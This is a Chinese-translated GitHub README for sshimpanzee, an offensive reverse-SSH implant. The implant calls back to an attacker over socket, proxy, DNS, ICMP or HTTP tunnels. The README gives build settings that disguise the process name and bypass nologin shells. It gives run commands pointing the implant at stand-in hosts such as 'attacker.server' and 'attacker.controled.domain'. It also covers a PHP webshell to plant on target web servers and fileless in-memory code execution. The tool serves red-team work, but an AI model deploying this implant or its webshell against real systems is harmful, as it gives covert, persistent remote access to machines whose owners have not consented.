lexfo/sshimpanzee

GitHub: lexfo/sshimpanzee

基于 OpenSSH 的静态反向植入工具,通过 DNS、ICMP、HTTP 等多种隧道机制在受限网络环境中建立隐蔽的 SSH 持久化通道。

Stars: 285 | Forks: 28

# Sshimpanzee __Sshimpanzee__ 允许你构建一个 __静态 *反向* ssh 服务器__。 与监听端口并等待连接不同,该 ssh 服务器会主动发起反向连接到攻击者的 IP,就像一个常规的反向 shell 一样。 __Sshimpanzee__ 允许你利用 __常规 ssh 连接的所有功能__,例如 __端口转发、动态 socks 代理或 FTP 服务器__。 更重要的是,如果受害机器无法直接连接到攻击者服务器,它提供了不同的隧道机制,例如 __DNS 隧道、ICMP 隧道或 HTTP 封装__。 它还支持 HTTP 和 SOCKS5 代理。 Lexfo 博客上提供了一份 [技术论文](https://blog.lexfo.fr/sshimpanzee.html)。 ## DOCKER 构建 - 推荐 ``` sudo docker build . --output . sudo docker build . --platform arm64 --output . ``` ### 编译文件 构建基于 build.yaml 文件进行: ``` ### # 这是 sshimpanzee 构建配置文件 # YAML 用于描述 sshimpanzee 应具备的行为和功能 ### ### 通用配置 process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name) banner: True # Should the banner be displayed at log verbose: 3 # Verbosity level as written in build/build.log shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell timer: 60*1000*1000 # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported) #public key: "ssh-ed25519 .... ROGUE@ROGUE" make: True # Keep it to true if you want the builder script to generate sshd binary force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances reconf: True # Required for docker builds ### 环境 # sshimpanzee 在运行时通过环境变量进行配置,但也可以预设环境变量以获得默认行为 env: if_not_set : # Variable here will be set if they do not already exists REMOTE: 127.0.0.1 PORT: 8080 MODE: sock # MODE environment variable is used to manage the default tunnel overwrite: # Variable here will overwrite already existent ### 隧道 # sshimpanzee 附带不同的隧道机制 # 为了加快编译时间,更重要的是获得更小的二进制文件,可以包含或排除某些隧道 # 可以在此处指定隧道编译参数 tun: sock: enabled: True icmp: enabled: True buildserv: True # should the corresponding ICMPTunnel server be built raw_sock: False # build with support for raw sock for older kernels http_enc : enabled: True key: # web shell key, empty will result in a new key being generated target: - "php" # list of language you want to generate webshells for path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells dns: enabled: True resource: sshimpanzee # DNS2TCP Resource key: sshimpanzee # DNS2TCP key obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver buildserv: False qtype: TXT # Type of query used by DNS2TCP proxysock: enabled: True no_build: enabled: False path: [] # Openssh subsystems # man sshd_config Subsystems subsystems: internal_sftp: # standard sftp as provided by openssh enabled: True # It is required for scp and sftp name: sftp exec: internal-sftp is_internal: True remote_exec: # Sshimpanzee custom subsystem enabled: True # remote execution using fileless memfd technique name: remote-exec exec: internal-remote-exec is_internal: True python: # example of a stadard ssh subsystem enabled: False name: python exec: /usr/bin/python -c "print('python code')" is_internal: False ``` ## 使用方法 在运行时,sshimpanzee 二进制文件通过环境变量进行配置。 `MODE` 变量允许用户在编译好的隧道中进行选择。 每个隧道都可以通过环境变量进行配置。 例如,要实现一个经典的反向连接到 127.0.0.1:8080,请使用以下命令: ``` MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee ``` ### 隧道 目前 sshimpanzee 支持植入程序通过多种方式连接到攻击者的 ssh 客户端: - 使用 dns2tcp 协议的 DNS 隧道 - 代理:HTTP/SOCKS4/SOCKS5 - 套接字:(如果你想实现自己的隧道,这可能会很有用) - ICMP 隧道 - HTTP 封装 ### Socket 连接 1. 在客户端按如下方式运行 ssh: ``` ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 8080" -i CLIENT ``` 2. 在目标机器上运行 sshimpanzee: ``` MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee ``` 其他示例: ``` MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee # bind and listen to 127.0.0.1:8080 MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket ``` ### 通过代理连接 1. 在客户端按如下方式运行 ssh: ``` ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 4444" -i CLIENT ``` 2. 在目标机器上运行 sshimpanzee: ``` MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee ``` 其他示例: ``` MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee ``` ### 使用 DNS 隧道 1. 在你的服务器上,使用本仓库中的配置文件运行标准的 __dns2tcpd__,你需要修改域名(如果需要,也可以修改资源端口)。 ``` listen = 0.0.0.0 port = 53 user = nobody key = sshimpanzee chroot = /var/empty/dns2tcp/ domain = resources = sshimpanzee:127.0.0.1:8080 ``` ``` sudo ./dns2tcpd -F -f dns2tcpdrc ``` 2. 在客户端按如下方式运行 ssh: ``` ssh anyrandomname@127.0.0.1 -oProxyCommand="nc -lp 8080" -i CLIENT ``` 3. 运行 sshimpanzee 二进制文件: ``` MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee ``` 其他示例: ``` MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver ``` ### 使用 ICMP 隧道 1. 在你的服务器上,添加正确的能力(capabilities)以避免以 root 身份运行 proxycommand,并禁用系统的 ping 响应 ``` sudo setcap cap_net_raw+ep icmptunnel echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all ``` 2. 使用 icmptunnel 作为 proxycommand 运行标准的 ssh 客户端: ``` ssh i -oProxyCommand=./icmptunnel -i test/CLIENT ``` 3. 运行 sshimpanzee 二进制文件: ``` MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee ``` ### 使用 HTTP 封装 (ssh -> http server -> sshd) 1. 将 /tuns/http_enc/proxy.php 和 sshd 文件上传到你的目标 Web 服务器 2. 确保 proxy.php 能够正确执行 3. 在 Web 服务器上运行 sshd 二进制文件 ``` MODE=http_enc ./sshimpanzee ``` 4. 使用 utils/scripts/ 中的 python 脚本作为代理命令,在客户端机器上运行 ssh: ``` ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT ``` #### 关于 HTTP 封装的补充说明 1. Proxy.php 是一个最小化的 webshell,你可以用它将 sshd 上传到服务器并运行命令。proxy_cli.py 提供了 --run 和 --drop 选项来执行此操作。 2. 你可能会遇到巨大的输入延迟,这是因为 ssh 客户端发送的数据包增加了 1 到 5 秒的延迟,以防止生成过多的 http 请求。如果你不介意生成大量的 http 请求(从而在 Web 服务器上留下大量日志),请在 proxy_cli.py 命令中添加 --no-buffer 选项。 ## 使用 sshimpanzee 客户端 本仓库还提供了一个位于 __utils/client/bin__ 的客户端。 只需将 CLIENT 密钥复制到 utils/client/keys/ 中 ``` sshimpanzee --new PORT #create a new listener on PORT sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt) sshimpanzee --new-icmp #create a new icmp listener sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session sshimpanzee --list #list availaible sessions sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params sshimpanzee --rename SESSION_NUMBER #to rename a session sshimpanzee --kill SESSION_NUMBER #to kill a session sshimpanzee #use fzf to select which session you want ``` 然而,它可能不如直接使用 ssh 可靠。 ## 创建你自己的隧道机制 所有隧道都位于 tuns/ 目录中。如果你想添加另一个隧道,只需在 tuns/builder.py 中添加一个以你的隧道命名的函数。该函数负责生成一个 libtun.a 归档文件,其中包含必要的 .o 文件,其中一个文件需导出 tun() 符号。 或者,你可以自己构建 libtun.a,并使用名为 no_build 的隧道,然后提供自定义 libtun.a 的路径。 ## 使用无文件执行 如果 sshimpanzee 是使用 remote-exec 子系统模块构建的,则可以完全在内存中远程执行代码。 ``` python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1 ``` ## 未来工作 - 添加其他隧道: - HTTP 封装(通过 http_enc 和 proxy.php 的第一步:添加 JSP 和其他程序) - 带有原始套接字的用户态 TCP/IP 协议栈? - ICMP:对字符串进行异或/加密,以防在网络分析中被检测到 - 用于后渗透的子系统: - 进程转储 - TCP 扫描 ## 致谢 本仓库依赖于许多不同的项目。 - 首先,Openssh-portable (9.1):https://blog.lexfo.fr/sshimpanzee.html - 用于静态构建的 musl libc: 关于隧道: - Dns2tcp: - icmptunnel(经过大量修改以提高隧道弹性): - Proxysocket: 值得注意的是,这*不是*一个非常原创的项目,ssh 协议武器化在几年前就已经实现了: - - -
标签:C2框架, DNS隧道, Go语言, HTTP封装, ICMP隧道, Implant, IP 地址批量处理, SOCKS5, SSH, 代理转发, 内网穿透, 反向连接, 后门, 命令控制, 安全学习资源, 安全测试, 攻击性安全, 数据展示, 数据采集, 横向移动, 程序破解, 红队, 编程规范, 网络安全, 请求拦截, 远程访问, 逆向工具, 隐私保护, 隧道技术, 静态编译